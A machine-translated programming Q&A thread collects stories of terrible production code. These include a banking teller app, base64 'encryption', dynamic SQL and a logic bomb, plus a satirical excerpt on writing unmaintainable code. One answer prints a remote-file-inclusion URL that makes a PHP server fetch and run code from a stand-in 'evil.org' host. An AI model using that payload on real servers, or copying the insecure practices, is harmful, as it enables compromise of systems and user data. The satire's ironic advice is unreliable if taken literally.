您在生产企业环境中见过的最EVIL代码是什么?[关闭]


76

您在公司的生产环境中见过的最邪恶或危险的代码片段是什么?我从来没有遇到过我认为是故意的恶意和邪恶的生产代码,因此我很想知道别人发现了什么。

我见过的最危险的代码是一个存储过程,该存储过程与我们的核心生产数据库服务器相距两个链接服务器。该存储过程接受任何NVARCHAR(8000)参数,并通过双跳sp_executeSQL命令在目标生产服务器上执行该参数。也就是说,为了跳过两个链接的服务器,sp_executeSQL命令执行了另一个sp_executeSQL命令。哦,链接服务器帐户对目标生产服务器具有sysadmin权限。


20
只需访问thedailywtf.com即可获得类似内容
Tamas Czinege,2009年

Answers:


331

警告:漫长而可怕的帖子

我已经写过一篇关于我在这里这里之前工作过的应用程序的文章。简而言之,我公司从印度继承了130,000行垃圾。该应用程序是用C#编写的;这是一个柜员应用程序,每次您去银行时,柜台后都使用相同的软件柜员。该应用每天崩溃40至50次,并且根本无法将其重构为工作代码。我的公司不得不在12个月的时间内重新编写整个应用程序。

为什么此应用程序有害?因为源代码的目光足以使一个疯子和一个疯子变得理智。编写此应用程序所用的扭曲逻辑只能受到洛夫克拉夫特式噩梦的启发。此应用程序的独特功能包括:

  • 在130,000行代码中,整个应用程序包含5个类(不包括表单文件)。所有这些都是公共静态类。一类称为Globals.cs,其中包含1000、1000和1000s的公共静态变量,这些变量用于保存应用程序的整个状态。这五个类总共包含20,000行代码,其余代码嵌入表格中。

  • 您必须想知道,程序员如何在没有任何类的情况下编写如此大的应用程序?他们用什么来表示数据对象?事实证明,程序员仅通过组合ArrayLists,HashTables和DataTables就可以重新发明我们都了解的有关OOP的一半概念。我们看到了很多:

    • 哈希表的ArrayLists
    • 具有字符串键和DataRow值的哈希表
    • 数据表的数组列表
    • 包含ArrayList的DataRows包含HashTables
    • 数据行的数组列表
    • ArrayLists的ArrayLists
    • 具有字符串键和HashTable值的HashTables
    • HashTables的ArrayLists的ArrayLists
    • 您可以想到的ArrayList,HashTables和DataTable的所有其他组合。

    请记住,上面的数据结构都不是强类型的,因此您必须将从列表中得到的任何神秘对象都强制转换为正确的类型。您仅使用ArrayLists,HashTables和DataTables就能创建哪种复杂的,类似于Rube Goldberg的数据结构,这真是令人惊讶。

  • 要共享一个有关如何使用上面详细介绍的对象模型的示例,请考虑“帐户”:原始程序员为帐户的每个可配置属性创建了一个单独的HashTable:一个名为hstAcctExists,hstAcctNeedsOverride,hstAcctFirstName的HashTable。所有这些哈希表的键都是“ |” 分隔的字符串。可以想到的键包括“ 123456 | DDA”,“ 24100 | SVG”,“ 100 | LNS”等。

  • 由于可以从全局变量轻松访问整个应用程序的状态,因此程序员发现不必将参数传递给方法。我会说90%的方法使用0个参数。在少数这样做的情况下,为了方便起见,所有参数都以字符串形式传递,无论字符串表示什么。

  • 没有副作用的功能不存在。每个方法都修改了Globals类中的1个或多个变量。并非所有副作用都是合理的。例如,一种形式验证方法对于为Globals.lngAcctNum存储的任何帐户计算贷款的超额付款和短期付款都具有神秘的副作用。

  • 尽管有很多形式,但有一种形式可以统治所有形式:frmMain.cs,其中包含多达20,000行代码。frmMain是做什么的?一切。它查询帐目,打印收据,分配现金,并完成所有工作。

    有时需要其他形式来调用frmMain上的方法。与其将代码从表单中分解为一个单独的类,不如直接调用代码:

    ((frmMain)this.MDIParent).UpdateStatusBar(hstValues);
    
  • 为了查找帐户,程序员执行了以下操作:

    bool blnAccountExists =
        new frmAccounts().GetAccountInfo().blnAccountExists
    

    尽管创建一个看不见的表单来执行业务逻辑已经很糟糕了,但是您认为表单知道要查找哪个帐户呢?这很容易:该表单可以访问Globals.lngAcctNum和Globals.strAcctType。(谁不喜欢匈牙利符号?)

  • 代码重用是ctrl-c,ctrl-v的同义词。我发现200行方法跨20个表单进行了复制/粘贴。

  • 该应用程序有一个奇怪的线程模型,我喜欢称它为“线程与计时器”模型:生成线程的每种形式都有一个计时器。产生的每个线程都会启动一个具有200毫秒延迟的计时器。一旦计时器启动,它将检查线程是否设置了一些魔术布尔值,然后它将中止线程。结果ThreadAbortException被吞下。

    您可能以为您只会看到一次这种模式,但是我至少在10个不同的地方找到了它。

  • 说到线程,关键字“ lock”从未出现在应用程序中。线程无需锁就可以自由地操纵全局状态。

  • 应用程序中的每个方法都包含一个try / catch块。每个异常都被记录并吞下。

  • 谁在打开字符串时需要打开枚举就这么简单!

  • 一些天才发现您可以将多个表单控件连接到同一事件处理程序。程序员是如何处理的?

    private void OperationButton_Click(object sender, EventArgs e)
    {
        Button btn = (Button)sender;
        if (blnModeIsAddMc)
        {
            AddMcOperationKeyPress(btn);
        }
        else
        {
            string strToBeAppendedLater = string.Empty;
            if (btn.Name != "btnBS")
            {
                UpdateText();
            }
            if (txtEdit.Text.Trim() != "Error")
            {
                SaveFormState();
            }
            switch (btn.Name)
            {
                case "btnC":
                    ResetValues();
                    break;
                case "btnCE":
                    txtEdit.Text = "0";
                    break;
                case "btnBS":
                    if (!blnStartedNew)
                    {
                        string EditText = txtEdit.Text.Substring(0, txtEdit.Text.Length - 1);
                        DisplayValue((EditText == string.Empty) ? "0" : EditText);
                    }
                    break;
                case "btnPercent":
                    blnAfterOp = true;
                    if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                    {
                        AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, false);
                        decCurrValue = decResultValue * decCurrValue / intFormatFactor;
                        DisplayValue(GetValueString(decCurrValue));
                        AddToTape(GetValueString(decCurrValue), string.Empty, true, false);
                        strToBeAppendedLater = GetValueString(decResultValue).PadLeft(20)
                                                    + strOpPressed.PadRight(3);
                        if (arrLstTapeHist.Count == 0)
                        {
                            arrLstTapeHist.Add(strToBeAppendedLater);
                        }
                        blnEqualOccurred = false;
                        blnStartedNew = true;
                    }
                    break;
                case "btnAdd":
                case "btnSubtract":
                case "btnMultiply":
                case "btnDivide":
                    blnAfterOp = true;
                    if (txtEdit.Text.Trim() == "Error")
                    {
                        btnC.PerformClick();
                        return;
                    }
                    if (blnNumPressed || blnEqualOccurred)
                    {
                        if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                        {
                            if (Operation())
                            {
                                AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
                                DisplayValue(GetValueString(decResultValue));
                            }
                            else
                            {
                                AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
                                DisplayValue("Error");
                            }
                            strOpPressed = btn.Text;
                            blnEqualOccurred = false;
                            blnNumPressed = false;
                        }
                    }
                    else
                    {
                        strOpPressed = btn.Text;
                        AddToTape(GetValueString(0), (string)btn.Text, false, false);
                    }
                    if (txtEdit.Text.Trim() == "Error")
                    {
                        AddToTape("Error", string.Empty, true, true);
                        btnC.PerformClick();
                        txtEdit.Text = "Error";
                    }
                    break;
                case "btnEqual":
                    blnAfterOp = false;
                    if (strOpPressed != string.Empty || strPrevOp != string.Empty)
                    {
                        if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                        {
                            if (OperationEqual())
                            {
                                DisplayValue(GetValueString(decResultValue));
                            }
                            else
                            {
                                DisplayValue("Error");
                            }
                            if (!blnEqualOccurred)
                            {
                                strPrevOp = strOpPressed;
                                decHistValue = decCurrValue;
                                blnNumPressed = false;
                                blnEqualOccurred = true;
                            }
                            strOpPressed = string.Empty;
                        }
                    }
                    break;
                case "btnSign":
                    GetValueDecimal(txtEdit.Text, out decCurrValue);
                    DisplayValue(GetValueString(-1 * decCurrValue));
                    break;
            }
        }
    }
    
  • 同一天才还发现了光荣的三元算子。以下是一些代码示例:

    frmTranHist.cs [line 812]:

    strDrCr = chkCredits.Checked && chkDebits.Checked ? string.Empty
                        : chkDebits.Checked ? "D"
                            : chkCredits.Checked ? "C"
                                : "N";
    

    frmTellTransHist.cs [line 961]:

    if (strDefaultVals == strNowVals && (dsTranHist == null ? true : dsTranHist.Tables.Count == 0 ? true : dsTranHist.Tables[0].Rows.Count == 0 ? true : false))
    

    frmMain.TellCash.cs [line 727]:

    if (Validations(parPostMode == "ADD" ? true : false))
    
  • 这是一个代码片段,展示了StringBuilder的典型误用。请注意程序员如何在循环中连接字符串,然后将结果字符串附加到StringBuilder:

    private string CreateGridString()
    {
        string strTemp = string.Empty;
        StringBuilder strBuild = new StringBuilder();
        foreach (DataGridViewRow dgrRow in dgvAcctHist.Rows)
        {
            strTemp = ((DataRowView)dgrRow.DataBoundItem)["Hst_chknum"].ToString().PadLeft(8, ' ');
            strTemp += "  ";
            strTemp += Convert.ToDateTime(((DataRowView)dgrRow.DataBoundItem)["Hst_trandt"]).ToString("MM/dd/yyyy");
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_DrAmount"].ToString().PadLeft(15, ' ');
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_CrAmount"].ToString().PadLeft(15, ' ');
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_trancd"].ToString().PadLeft(4, ' ');
            strTemp += "  ";
            strTemp += GetDescriptionString(((DataRowView)dgrRow.DataBoundItem)["Hst_desc"].ToString(), 30, 62);
            strBuild.AppendLine(strTemp);
        }
        strCreateGridString = strBuild.ToString();
        return strCreateGridString;//strBuild.ToString();
    }
    
  • 表上不存在主键,索引或外键约束,几乎所有字段的类型均为varchar(50),并且100%的字段可为空。有趣的是,没有使用位字段来存储布尔数据。取而代之的是使用char(1)字段,而字符“ Y”和“ N”分别代表true和false。

    • 说到数据库,这是一个存储过程的代表性示例:

      ALTER PROCEDURE [dbo].[Get_TransHist]
       ( 
            @TellerID   int = null,
            @CashDrawer int = null,
            @AcctNum    bigint = null,
            @StartDate  datetime = null,
            @EndDate    datetime = null,
            @StartTranAmt     decimal(18,2) = null,
            @EndTranAmt decimal(18,2) = null,
            @TranCode   int = null,
            @TranType   int = null
       )
      AS 
            declare @WhereCond Varchar(1000)
            declare @strQuery Varchar(2000)
            Set @WhereCond = ' '
            Set @strQuery = ' '
            If not @TellerID is null
                  Set @WhereCond = @WhereCond + ' AND TT.TellerID = ' + Cast(@TellerID as varchar)
            If not @CashDrawer is null
                  Set @WhereCond = @WhereCond + ' AND TT.CDId = ' + Cast(@CashDrawer as varchar)
            If not @AcctNum is null
                  Set @WhereCond = @WhereCond + ' AND TT.AcctNbr = ' + Cast(@AcctNum as varchar)
            If not @StartDate is null
                  Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) >= ''' + Convert(varchar,@StartDate,121) + ''''
            If not @EndDate is null
                  Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) <= ''' + Convert(varchar,@EndDate,121) + ''''
            If not @TranCode is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranCode = ' + Cast(@TranCode as varchar)
            If not @EndTranAmt is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranAmt <= ' + Cast(@EndTranAmt as varchar)
            If not @StartTranAmt is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranAmt >= ' + Cast(@StartTranAmt  as varchar)
            If not (@TranType is null or @TranType = -1)
                  Set @WhereCond = @WhereCond + ' AND TT.DocType = ' + Cast(@TranType as varchar)
            --Get the Teller Transaction Records according to the filters
            Set @strQuery = 'SELECT 
                  TT.TranAmt as [Transaction Amount], 
                  TT.TranCode as [Transaction Code],
                  RTrim(LTrim(TT.TranDesc)) as [Transaction Description],
                  TT.AcctNbr as [Account Number],
                  TT.TranID as [Transaction Number],
                  Convert(varchar,TT.ActivityDateTime,101) as [Activity Date],
                  Convert(varchar,TT.EffDate,101) as [Effective Date],
                  Convert(varchar,TT.PostDate,101) as [Post Date],
                  Convert(varchar,TT.ActivityDateTime,108) as [Time],
                  TT.BatchID,
                  TT.ItemID,
                  isnull(TT.DocumentID, 0) as DocumentID,
                  TT.TellerName,
                  TT.CDId,
                  TT.ChkNbr,
                  RTrim(LTrim(DT.DocTypeDescr)) as DocTypeDescr,
                  (CASE WHEN TT.TranMode = ''F'' THEN ''Offline'' ELSE ''Online'' END) TranMode,
                  DispensedYN
            FROM TellerTrans TT WITH (NOLOCK)
            LEFT OUTER JOIN DocumentTypes DT WITH (NOLOCK) on DocType = DocumentType
            WHERE IsNull(TT.DeletedYN, 0) = 0 ' + @WhereCond + ' Order By BatchId, TranID, ItemID'    
            Exec (@strQuery)
      

综上所述,这13万行应用程序最大的问题是:没有单元测试。

是的,我已将这个故事发送给TheDailyWTF,然后辞职了。


61
在地板上爬行,寻找下颚
Andrew Kennan,2009年

57
实际上,这是关于代码混淆的讲座。
splattne,2009年

58
令人沮丧的是,某个地方的某个从事该代码工作的程序员认为他们做得很好,并在简历中炫耀它。“不熟练且不了解它的人”
塞尔吉奥·阿科斯塔

38
嘿,我写了这段代码,我认为它很好,如果您认为自己做得更好,则应尝试
Beska

17
一些管理历史的精简版今天在DailyWTF上发布:thedailywtf.com/Articles/eTeller-Horror.aspx
朱丽叶

70

我看过这样的密码加密功能

function EncryptPassword($password)
{
    return base64_encode($password);
}

10
大声笑-就像用透明信封分发工资单,银行对帐单等。:-)
Christian Hayter'2

+1,对哈尔达尔和基督教徒。lmao-
凸轮

3
ow。我曾经在商业Web应用程序的数据库中找到看起来像是伪造的密码。原来,它们只是存储在VARBINARY列中的纯文本,因此您乍一看不出来。
马特·吉布森

可悲的是,这基本上在我继承了一个项目的密码加密。尽管他们以前的习惯写成的base64编码功能做错了,所以我想那是个麻烦了;-)
Allbite

69

在使用信用卡付款的系统中,我们曾经存储完整的信用卡号以及姓名,有效期等。

事实证明这是非法的,考虑到我们当时正在为司法部编写程序,这具有讽刺意味。


有人知道亚马逊如何解决这个问题吗?还是要求用户许可是合法的?
戴维·兰德曼

7
具有讽刺意味的部分+1。
Earlz

@戴维-不同的国家有不同的规则。
卡梅隆·麦克法兰

@Davy-加密。如果加密并且仅在需要知道时可以访问,则进行存储是合法的。关于强度,保持力,DMZ等有很多规则,请参见此处pcisecuritystandards.org/security_standards/pci_dss.shtml
Luke Schafer 2010年

1
当然。自从什么时候法律适用于政府?
罗伦·佩希特尔

30

这是一段商业代码中的错误处理例程:

/* FIXME! */
while (TRUE)
    ;

我应该找出为什么“应用程序不断锁定”。


2
对我来说似乎是蓄意的破坏!
乍得

1
好了,这里有一个FIXME,因此IDE可以将您定向到该行。
Josh Lee 2010年

7
@查德沃灵顿:如果是有意评论,那将是/ *不要修复!* /; P
David

2
构建商业版本时,编译器是否会优化这种事情?
Attila Kun 2010年

3
在这种情况下,编译器没有“优化”循环;它会“优化”到什么?同样,“故意破坏”是绝对可能的。“ FIXME”本来是可以否认的。
Dour High Arch

28

同时结合以下所有Php“功能”。

  1. 注册全球
  2. 可变变量
  3. 通过include(“ http:// ...”)包含远程文件和代码;
  4. 真正可怕的数组/变量名称(文字示例):

    foreach( $variablesarry as $variablearry ){
      include( $$variablearry ); 
    }
    

    (我实际上花了一个小时试图弄清楚它是如何工作的,然后才意识到它们不是同一个变量)

  5. 包括50个文件,每个文件包含50个文件,并且填充以有条件和不可预测的方式在所有50个文件中线性/程序执行。

对于那些不了解变量变量的人:

$x = "hello"; 
$$x = "world"; 
print $hello # "world" ;

现在考虑$ x包含来自您的URL的值(register globals magic),因此在您的代码中没有明显的地方可以使用哪个变量,因为所有变量均由url确定。

现在考虑当该变量的内容可以是网站用户指定的url时会发生什么。是的,这对您来说可能没有意义,但是会创建一个名为该url的变量,即:

$http://google.com

除了不能直接访问它,您必须通过上面的double $技术使用它。

此外,当用户有可能在URL上指定一个变量以指示要包含的文件时,会出现一些讨厌的技巧

http://foo.bar.com/baz.php?include=http://evil.org/evilcode.php

如果该变量出现在 include($include)

并且'evilcode.php'打印其代码纯文本,并且Php受到不适当的保护,php将会被淘汰,下载evilcode.php,然后以网络服务器的用户身份执行它。

网络服务器将授予其所有权限,允许外壳程序调用,下载任意二进制文件并运行它们,等等,直到最终您想知道为什么盒子中的磁盘空间不足,并且一个目录有8GB的盗版电影,意大利配音,通过机器人在IRC上共享。

我只是感激不已,我发现在运行攻击的脚本决定执行某些非常危险的操作之前的暴行,例如从或多或少不安全的数据库中收集极其机密的信息:|

(我可以使用该代码库在6个月的时间里每天都用Dailywtf娱乐,我不告诉你。这只是我在逃脱该代码后发现了Dailywtf的可耻)


5
“我只是很感激,在脚本决定收获数据库之前,我发现了这种暴行:|” 你怎么知道的?对于所有密集海豚,它可能已经做到了这一点,而没有任何人注意到...
Piskvor在2009年

可能有,但是数据库日志并没有说明它做了太多事情。
肯特·弗雷德里克

PHP本身就是一种反模式。
Thomas Eding

28

在主项目头文件中,来自一位老手COBOL程序员,他莫名其妙地用C编写了编译器:

int i, j, k;

“因此,如果您忘记声明循环变量,就不会出现编译器错误。”



20

本文如何编写不可维护的代码涵盖了人类已知的一些最出色的技术。我最喜欢的一些是:


婴儿名字的新用途

买一本婴儿命名书的副本,您将永远不会为变量名所迷。弗雷德(Fred)是一个很棒的名字,而且易于输入。如果您要查找易于输入的变量名,请使用DSK键盘输入adsf或aoeu。

创意拼写错误

如果必须使用描述性变量和函数名称,请拼写错误。通过在某些函数和变量名中拼写错误,并在其他函数和变量名中拼写正确(例如SetPintleOpening SetPintalClosing),我们可以有效地拒绝使用grep或IDE搜索技术。它的效果非常好。通过在不同的剧院/剧院拼写托利或花托来增加国际风味。

是抽象的

在命名函数和变量时,请大量使用抽象词,如它,所有内容,数据,句柄,内容,操作,例程,执行和数字,例如:例程X48,PerformDataFunction,DoIt,HandleStuff和do_args_method。

大写

在单词中间随机将一个音节的第一个字母大写。例如ComputeRasterHistoGram()。

小写l看起来很像数字1

使用小写字母l表示长常量。例如10l更可能被误认为10L是101。禁止所有明显使uvw ww gq9 2z 5s il17 |!j oO08`'; ;;。m nn rn {[()]}歧义的字体。

回收变量

只要范围规则允许,请重用现有的不相关变量名。同样,将相同的临时变量用于两个不相关的目的(目的是节省堆栈插槽)。对于恶魔般的变体,例如,将变量变形,例如,在很长的方法的顶部为变量赋值,然后在中间的某个位置,以细微的方式更改变量的含义,例如将其转换为从0开始的坐标到从1开始的坐标。确定不要记录此含义的变化。

cd wrttn wtht vwls s mch trsr

在变量名或方法名中使用缩写时,请为同一个单词使用多个变体来消除无聊的烦恼,甚至偶尔将其拼写出来。这有助于打败那些使用文本搜索仅了解程序某些方面的懒汉。可以考虑将变体拼写作为策略的变体,例如,将国际颜色与美国颜色和花花公子的库勒兹混合在一起。如果完整拼写姓名,则只有一种可能的方式可以拼写每个姓名。这些对于维护程序员来说太容易记住了。因为缩写词有很多不同的方法,所以您可以使用几个具有相同外观目的的不同变量。另外,维护程序员甚至可能不会注意到它们是单独的变量。

模糊的影片参考

使用常量名称(例如LancelotsFavouriteColour)代替蓝色,并为其分配十六进制值$ 0204FB。该颜色看起来与屏幕上的纯蓝色相同,因此维护程序员必须计算出0204FB(或使用某些图形工具)才能知道其外观。只有熟悉Monty Python和The Holy Grail的人才会知道Lancelot最喜欢的颜色是蓝色。如果维护程序员无法从内存中引用整个Monty Python电影,那么他或她就不会成为程序员。

记录明显

在代码中加上/ *这样的注释,然后在i * /上加1;但是,切勿像包装或方法的总体用途那样记录毛茸茸的东西。

记录为什么不为什么

仅记录程序的详细信息,而不记录程序要完成的操作。这样,如果存在错误,修复程序将不知道代码应该做什么。

副作用

在C语言中,功能应该是幂等的(没有副作用)。我希望该提示足够。

使用八进制

将八进制文字走私到十进制数字列表中,如下所示:

array = new int []
{ 
111, 
120, 
013, 
121, 
};

扩展ASCII

扩展的ASCII字符作为变量名非常有效,包括ß,Ð和ñ字符。如果不使用简单的文本编辑器进行复制/粘贴,则几乎无法键入它们。

其他语言的名字

使用外语词典作为变量名的来源。例如,使用德语punkt作为点。如果您不懂德语,那么维护编码人员将享受解密其含义的多元文化经验。

数学名称

选择伪装成数学运算符的变量名称,例如:

openParen = (slash + asterix) / equals;

伪装成注释和副词Versa的代码

包括已注释掉但乍一看似乎没有的代码部分。

for(j=0; j<array_len; j+ =8)
{ 
total += array[j+0 ]; 
total += array[j+1 ]; 
total += array[j+2 ]; /* Main body of 
total += array[j+3];   * loop is unrolled 
total += array[j+4];   * for greater speed. 
total += array[j+5];   */ 
total += array[j+6 ]; 
total += array[j+7 ]; 
}

如果没有颜色编码,您会注意到三行代码被注释掉了吗?

伪装成关键字的任意名称

在记录文档时,您需要一个任意名称来表示文件名,请使用“ file”。切勿使用明显任意的名称,例如“ Charlie.dat”或“ Frodo.txt”。通常,在您的示例中,请使用听起来像保留关键字的任意名称。例如,参数或变量的好名字将是“ bank”,“ blank”,“ class”,“ const”,“ constant”,“ input”,“ key”,“ keyword”,“ kind”,“ output” ,“参数”,“参数”,“系统”,“类型”,“值”,“ var”和“变量”。如果将实际的保留字用作任意名称,那么命令处理器或编译器会拒绝这些保留字,那就更好了。如果做得好

代码名称不得与屏幕名称匹配

选择您的变量名称,使其与在屏幕上显示此类变量时所使用的标签完全无关。例如,在屏幕上标记字段“邮政编码”,但在代码中调用关联的变量“ zip”。

选择最佳的过载运营商

在C ++中,重载+,-,*,/做与加,减等完全无关的事情。毕竟,如果Stroustroup可以使用shift运算符执行I / O,那么为什么不应该同样有创意?如果您超载+,请确保以i = i + 5的方式执行;与i + = 5完全不同;这是将重载操作员的混淆度提高到较高水平的示例。重载“!” 一个类的运算符,但具有重载与求反或求反无关。使它返回一个整数。然后,为了获得逻辑值,必须使用'!!!”。但是,这会颠倒逻辑,因此[Drum roll]必须使用'!!!!”。不要混淆了!运算符,使用〜按位逻辑否定运算符返回布尔值0或1。

例外情况

我将让您了解一个鲜为人知的编码秘密。例外是背后的痛苦。正确编写的代码永远不会失败,因此实际上不需要异常。不要浪费时间在他们身上。子类化异常适用于那些知道其代码将失败的不称职的人。通过在整个调用System.exit()的应用程序中(在主程序中)仅进行一次try / catch,可以大大简化程序。只需在每个方法标头上贴上一组完全标准的抛出即可,无论它们实际上是否可以抛出任何异常。

魔术矩阵位置

在某些矩阵位置使用特殊值作为标志。一个好的选择是与均质坐标系一起使用的转换矩阵中的[3] [0]元素。

重新介绍了魔术阵列插槽

如果需要给定类型的多个变量,只需定义它们的数组,然后按数字访问即可。选择只有您知道并且不记录它的编号约定。并且不要为索引定义#define常量。每个人都应该知道全局变量widget [15]是取消按钮。这只是在汇编代码中使用绝对数字地址的最新变体。

永不美化

切勿使用自动源代码整理器(美化器)来使代码保持一致。游说他们禁止他们进入您的公司,理由是它们在PVCS / CVS(版本控制跟踪)中创建了虚假的增量,或者每个程序员都应该永久保留自己的缩进样式,这对于他编写的任何模块都是神圣不可侵犯的。坚持让其他程序员在“他的”模块中遵守那些特殊的约定。禁止美化器非常容易,即使它们节省了数百万次手动对齐的击键操作,又浪费了很多时间来误解未对齐的代码。只需坚持每个人都使用相同的整理格式,不仅用于存储在公共存储库中,还可以在编辑时使用。这开始了RWAR,而老板为了保持和平,将禁止自动整理。没有自动整理 现在,您可以随意将代码错位以使人产生错觉,即循环和if的主体比实际长或短,或者else子句与实际匹配的不相同。例如

if(a)
  if(b) x=y;
else x=z;

测试是为了co夫

勇敢的编码器将绕过该步骤。太多的程序员害怕他们的老板,害怕丢掉他们的工作,害怕顾客讨厌的邮件,以及害怕被起诉。这种恐惧使行动瘫痪,并降低了生产率。研究表明,取消测试阶段意味着管理人员可以提前设定发货日期,这显然有助于计划过程。有了恐惧,创新和实验就可以开花。程序员的职责是产生代码,并且可以通过服务台和旧版维护小组的共同努力来完成调试。

如果我们对自己的编码能力充满信心,那么就不需要进行测试了。如果我们从逻辑上看待这个问题,那么任何傻瓜都可以认识到测试甚至都没有试图解决技术问题,而是情感上的信心问题。对于这种缺乏信心的问题,一种更有效的解决方案是完全消除测试,并让我们的程序员参加自尊课程。毕竟,如果我们选择进行测试,那么我们就必须测试每个程序的更改,但是我们只需要让程序员参加建立自尊心的一门课程即可。成本收益是显而易见的。

颠倒通常的真假惯例

颠倒通常对是非的定义。听起来很明显,但是效果很好。您可以隐藏:

#define TRUE 0 
#define FALSE 1

在代码深处的某个地方,以便从程序的内容中删除任何人都看不到的文件。然后强制程序进行如下比较:

if ( var == TRUE )
if ( var != FALSE )

有人必须“纠正”表面上的冗余,并以通常的方式在其他地方使用var:

if ( var )

另一种技术是使TRUE和FALSE具有相同的值,尽管大多数人都会考虑这种欺骗。使用值1和2或-1和0是使人绊倒并看起来仍然受人尊敬的更巧妙的方法。您可以在Java中使用相同的技术,方法是定义一个称为TRUE的静态常量。程序员可能会更怀疑,因为您在Java中有一个内置的文字,因此您一无所获。

利用精神分裂症

Java对数组声明有精神分裂症。您可以使用旧的C方法String x [](使用混合的后缀表示法)或新的方法String [] x(使用纯前缀表示法)来实现。如果您想让人们真正困惑,请混合使用符号。g。

byte[ ] rowvector, colvector , matrix[ ];

等效于:

byte[ ] rowvector; 
byte[ ] colvector; 
byte[ ][] matrix;

大声笑,他们是邪恶的:)-我最喜欢的是那篇文章的开篇语录-“绝不归咎于恶意,这可以用无能来解释”
Anurag 2010年

19

我不知道我是否将代码称为“邪恶的”,但是我们有一个开发人员会创建Object[]数组而不是编写类。到处。


40
我实际上读了一本PHP书,说这没关系。好吧,无论如何我都读到了这一点。
比尔蜥蜴

4
@Bill:这不像我宽容这种做法,而是PHP的类型很弱,这绝对比它更容易接受,例如,在C#中
Tamas Czinege,2009年

我不明白...怎么能那样做?
hhafez

@hhafez:PHP对象允许您随意设置任何对象成员。
比尔·卡温

也许那个家伙是被强迫编写C#代码的PHP脚本小子。
chakrit

18

我已经看到了(并发布到thedailywtf)代码,该代码将使每个人在星期二对应用程序的重要部分拥有管理员权限。我猜原来的开发人员忘了在本地机器测试后删除代码。


16

我不知道这是不是“邪恶”,甚至被误导了(我最近在“旧事物”上发布了它):

我认识一个喜欢将信息存储为定界字符串的家伙。他熟悉数组的概念,如使用带分隔符的字符串的数组所示,但是灯泡从未点亮。


15

Base 36编码,用于将int存储在字符串中。

我猜想这个理论有点像:

  • 十六进制用于表示数字
  • 十六进制不使用F以外的字母,这意味着GZ被浪费了
  • 浪费是坏的

目前,我正在使用一个数据库,该数据库以7位位域(0-127)的形式存储事件发生的星期几,并以2个字符的字符串(范围为'0')存储在数据库中到“ 3J”。


嗯,从技术上讲,一个int的表示形式可以是一个以256为基数的字符串,并且它们将具有相同的实际值。
宽容

1
如果它是一个以null终止的base-256字符串怎么办?
geofftnz

3
听起来好像有人记得20年前的《远程映像协议》。还记得拨号调制解调器和BBS吗?好吧,ANSI统治了他们很长时间。但是ANSI只是文本。因此有人想出了一种制作图形的方法:因此就是远程映像协议。一个
奇怪

2
如果您克服了通信通道的限制,那么还不错,但是在数据库中呢?
geofftnz

4
之前的几份工作中,我们使用基数36将社会保险号(9位数字)编码为6位数字的字符串,因此可以将其与一年的数字和版本数字组合在一起,因此可以放入DOS 8.3样式的文件名中。贵族们!
Jesse C. Slicer

14

我记得当时看到一个登录处理程序,它接受了发布请求,并使用作为参数传入的用户名和密码重定向到GET。这是针对“企业级”医疗系统的。

我在检查一些日志时注意到了这一点-我非常想向CEO发送他的密码。


2
为您考虑采取的行动+1。= P
克里斯·库珀

几个月前,我在我管理的应用程序中看到了这一点。当然,同一个应用程序也不存储加密的密码,该业务被认为是有用的,因为他们可以在忘记密码时告诉客户密码。我们的许多客户都不懂计算机。此后,应用已升级为不执行此操作,但密码仍以明文形式存储。这是另一天的挑战……
staticsan

12

这段出色的delphi代码真的很邪恶:

type
  TMyClass = class
  private
    FField : Integer;
  public
    procedure DoSomething;
  end;

var
  myclass : TMyClass;


procedure TMyClass.DoSomething;
begin
  myclass.FField := xxx; // 
end;

如果只有一个类的实例,则效果很好。但是不幸的是,我不得不使用另一个实例,并且创建了许多有趣的错误。

当我发现这颗珠宝时,我不记得自己晕倒或尖叫过,也许是两次。


2
+1:什么?您可能需要解释这样做的含义……也就是说,如果您知道的话。
肯特·弗雷德里克

11
它是一个成员函数,它可以更改单个全局对象的状态,而不是更改调用它的对象的状态(就像理智的人所期望的那样)。因此,如果您在其他对象上调用它,将无法实现您期望的效果。
user9876

3
+1,在意识到它出了什么问题之前,我不得不阅读了几次-这就是为什么它是如此邪恶!
Edmund

似乎有人试图实现单例……很严重。
Jesse C. Slicer

12

也许不是邪恶的,但可以肯定的是,嗯……被误导了。

我曾经不得不重写一个“自然语言解析器”,如果...然后将其实现为单个5,000行。

如...

if (text == "hello" || text == "hi")
    response = "hello";
else if (text == "goodbye")
    response = "bye";
else
    ...

11

我在一个ASP.NET MVC站点中看到一个以前只有做过Web表单的人(并且是著名的复制/粘贴!)的代码,该代码将客户端点击事件附加到了 <a>代码,代码将称为javascript方法标记标记执行了一个文档。位置。

我试图解释,标签href上的a<a>会做同样的事情!!!


1
是的,但是在某些情况下这可能很有价值。在某些情况下,客户端会进行渐进式增强/平滑降级(例如,仅在打开JS的情况下,链接才会更改)
alirobe 2010年

2
通过拖放到Web表单上来设计网页的人是卑鄙的。
Earlz 2010年

10

有点恶心……我认识的某个人写信给公司内部的主要网络应用程序,这是每日检查,以查看他是否在过去10天内已登录系统。如果没有他登录的记录,它将为公司中的每个人禁用该应用程序。

一旦听到裁员的传言,他就写了这首歌,如果他倒闭了,公司将蒙受损失。

我知道这件事的唯一原因是,他休了2周的假期,当网站瘫痪时,我打电话给他。他告诉我使用他的用户名/密码登录...一切都很好。

当然..几个月后,我们都被解雇了。


8

我的同事喜欢回忆一下ASP.NET应用程序,它使用public static数据库连接来进行所有数据库工作。

是的,一个连接可以处理所有请求。不,也没有完成锁定。


2
我想“扭曲”的逻辑是,只有一个连接就不需要锁定!
Jim Birchall,2009年

1
我很确定我在16岁左右就做到了,并在两天内学习了ASP.NET。
Josh Lee 2010年

6

